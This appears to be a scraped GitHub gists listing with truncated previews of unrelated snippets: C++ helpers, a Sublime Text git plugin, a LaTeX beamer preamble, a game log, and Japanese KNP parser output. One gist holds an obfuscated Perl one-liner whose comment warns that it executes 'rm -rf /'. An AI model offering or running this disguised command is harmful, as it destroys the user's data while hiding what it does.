This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <tuple> | |
#include <vector> | |
#include <type_traits> | |
#include <iostream> | |
template<int cnt, typename X, typename T0, typename ...T> | |
struct index_of0 { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <cmath> | |
#include <iostream> | |
using namespace std; | |
bool isNANorINF(double x) { return isnan(x) || isinf(x); } | |
int main() { | |
double a = 5; | |
std::cout << isNANorINF(a) << "\n"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sublime_plugin | |
from subprocess import Popen, PIPE, STDOUT | |
from os import path | |
import sublime | |
import copy | |
class GitWipAutoCommand(sublime_plugin.EventListener): | |
"""docstring for GitWipPlugin""" | |
def __init__(self): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
% -*- program: lualatex -*- | |
\documentclass[12pt]{beamer} | |
%\usepackage{minted} | |
\usepackage{xcolor} | |
\usepackage{csquotes} | |
\usepackage{hyperref} | |
\usefonttheme{professionalfonts} | |
\usefonttheme{serif} | |
\usepackage{luatexja} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
WebCore config: library(/Users/eiennohito/Library/Application Support/Steam/steamapps/common/TalesMajEyal/T-Engine.app/Contents/MacOS/libte4-web.dylib) spawn(--) | |
Loading WebCore: Failed loading /Users/eiennohito/Library/Application Support/Steam/steamapps/common/TalesMajEyal/T-Engine.app/Contents/MacOS/libte4-web.dylib: dlopen(/Users/eiennohito/Library/Application Support/Steam/steamapps/common/TalesMajEyal/T-Engine.app/Contents/MacOS/libte4-web | |
[CPU] Detected 8 CPUs | |
OpenAL device available: Built-in Output (default Built-in Output) | |
Available video driver: cocoa | |
Available video driver: dummy | |
Creating save thread | |
===top 2 | |
Booting T-Engine from: /Users/eiennohito/Library/Application Support/Steam/steamapps/common/TalesMajEyal/T-Engine.app/Contents/MacOS/ | |
SelfExe gave us app directory of: /Users/eiennohito/Library/Application Support/Steam/steamapps/common/TalesMajEyal/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# S-ID:1 KNP:4.0-20131031 DATE:2014/06/19 SCORE:-83.03261 | |
* 3D <BGH:たゆむ/たゆむ><文頭><用言:動><係:連用><レベル:B><並キ:述:&レベル:強><区切:3-5><ID:動詞連用><連用要素><連用節><動態述語><正規化代表表記:たゆむ/たゆむ><主辞代表表記:たゆむ/たゆむ><並列類似度:-100.000> | |
+ 3D <BGH:たゆむ/たゆむ><文頭><用言:動><係:連用><レベル:B><並キ:述:&レベル:強><区切:3-5><ID:動詞連用><連用要素><連用節><動態述語><正規化代表表記:たゆむ/たゆむ><用言代表表記:たゆむ/たゆむ><格解析結果:たゆむ/たゆむ:動0:ガ/U/-/-/-/-;ヲ/U/-/-/-/-;ニ/U/-/-/-/-;ノ/U/-/-/-/-> | |
たゆみ たゆみ たゆむ 動詞 2 * 0 子音動詞マ行 9 基本連用形 8 "代表表記:たゆむ/たゆむ" <代表表記:たゆむ/たゆむ><正規化代表表記:たゆむ/たゆむ><かな漢字><ひらがな><活用語><文頭><自立><内容語><タグ単位始><文節始><文節主辞> | |
* 3D <BGH:無い/ない|泣く/なく|鳴く/なく><準否定表現><用言:形><係:連用><レベル:B-><並キ:述:&D:1&&用言:形||&ST:3.0><区切:3-5><ID:〜く><連用要素><連用節><状態述語><正規化代表表記:無い/ない?泣く/なく?鳴く/なく><主辞代表表記:無い/ない?泣く/なく?鳴く/なく><並列類似度:0.481> | |
+ 3D <BGH:無い/ない|泣く/なく|鳴く/なく><準否定表現><用言:形><係:連用><レベル:B-><並キ:述:&D:1&&用言:形||&ST:3.0><区切:3-5><ID:〜く><連用要素><連用節><状態述語><正規化代表表記:無い/ない?泣く/なく?鳴く/なく><用言代表表記:無い/ない?泣く/なく?鳴く/なく><時制-無時制><格解析結果:無い/ない:形1:ガ/U/-/-/-/-;ニ/U/-/-/-/-;ノ/U/-/-/-/-;ガ2/U/-/-/-/-> | |
なく なく ない 形容詞 3 * 0 イ形容詞アウオ段 18 基本連用形 7 "代表表記:無い/ない 反義:動詞:有る/ある" <代表表記:無い/ない><反義:動詞:笑う/わ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#do not run this! | |
#it executes rm -rf / | |
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <sstream> | |
#include <iostream> | |
#include <string> | |
template<typename T> | |
std::string to_string(const T& x) { | |
std::stringstream i; | |
i << x; | |
return i.str(); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# S-ID:1 KNP:4.0-20131031 DATE:2014/08/29 SCORE:-98.64208 | |
* 2D <SM-主体><SM-人><BGH:生/せい|生/なま><文頭><カウンタ:生><数量><ヲ><助詞><体言><係:ヲ格><区切:0-0><格要素><連用要素><正規化代表表記:高/こう+3/さん+生/せい?生/なま><主辞代表表記:生/せい?生/なま><主辞’代表表記:3/さん+生/せい?生/なま> | |
+ 1D <SM-主体><SM-場所><SM-組織><BGH:高/こう><文節内><係:文節内><文頭><受けNONE><正規化代表表記:高/こう><クエリ必須係り受け> | |
高 こう 高 接頭辞 13 名詞接頭辞 1 * 0 * 0 "代表表記:高/こう 内容語 換言:+N:Nが高い;+N:Nが良い" <代表表記:高/こう><内容語><換言:+N:Nが高い;+N:Nが良い><正規化代表表記:高/こう><漢字><かな漢字><文頭><接頭><タグ単位始><文節始> | |
+ 2D <文節内><係:文節内><数量><体言><名詞項候補><先行詞候補><省略解析なし><正規化代表表記:3/さん> | |
3 さん 3 名詞 6 数詞 7 * 0 * 0 "カテゴリ:数量 疑似代表表記 代表表記:3/さん" <カテゴリ:数量><疑似代表表記><代表表記:3/さん><正規化代表表記:3/さん><記英数カ><数字><英記号><記号><名詞相当語><自立><内容語><タグ単位始> | |
+ 4D <SM-主体><SM-人><BGH:生/せい|生/なま><カウンタ:生><数量><ヲ><助詞><体言><係:ヲ格><区切:0-0><格要素><連用要素><一文字漢字><名詞項候補><先行詞候補><省略解析なし><正規化代表表記:生/せい?生/なま><解析格:ヲ> | |
生 せい 生 名詞 6 普通名詞 1 * 0 * 0 "代表表記:生/せい 漢字読み:音 カテゴリ:抽象物" <代表表記:生/せい><漢字読み:音><カテゴリ:抽象物><正規化代表表記:生/せい?生/なま><品曖><ALT-生-なま-生-6-1-0-0-"代表表記:生/なま 漢字読み:訓 カテゴリ:抽象物"><品曖-普通名詞><原形曖昧><カウンタ><漢字><かな漢字><名詞相当語><自立><複合←><内容語><タグ単位始><文節主辞> | |
を を を 助詞 9 格助詞 1 * 0 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# S-ID:1 KNP:4.0-20131031 DATE:2014/08/29 SCORE:-98.64208 | |
高──┐ | |
3──┐ <体言> | |
生を──┐ <体言> | |
5人も──┤ <体言> | |
持つ──┐ <用言:動><格解析結果:ガ/人;ヲ/生;ニ/-;外の関係/こと;ノ/-> | |
ことで──┐ <体言> | |
かなり──┤ | |
胃が──┤ <体言> | |
痛いのですが──┐ <用言:形><格解析結果:ガ/胃;ニ/-;デ/こと;カラ/-;時間/-;修飾/かなり;ノ/-;ガ2/-> |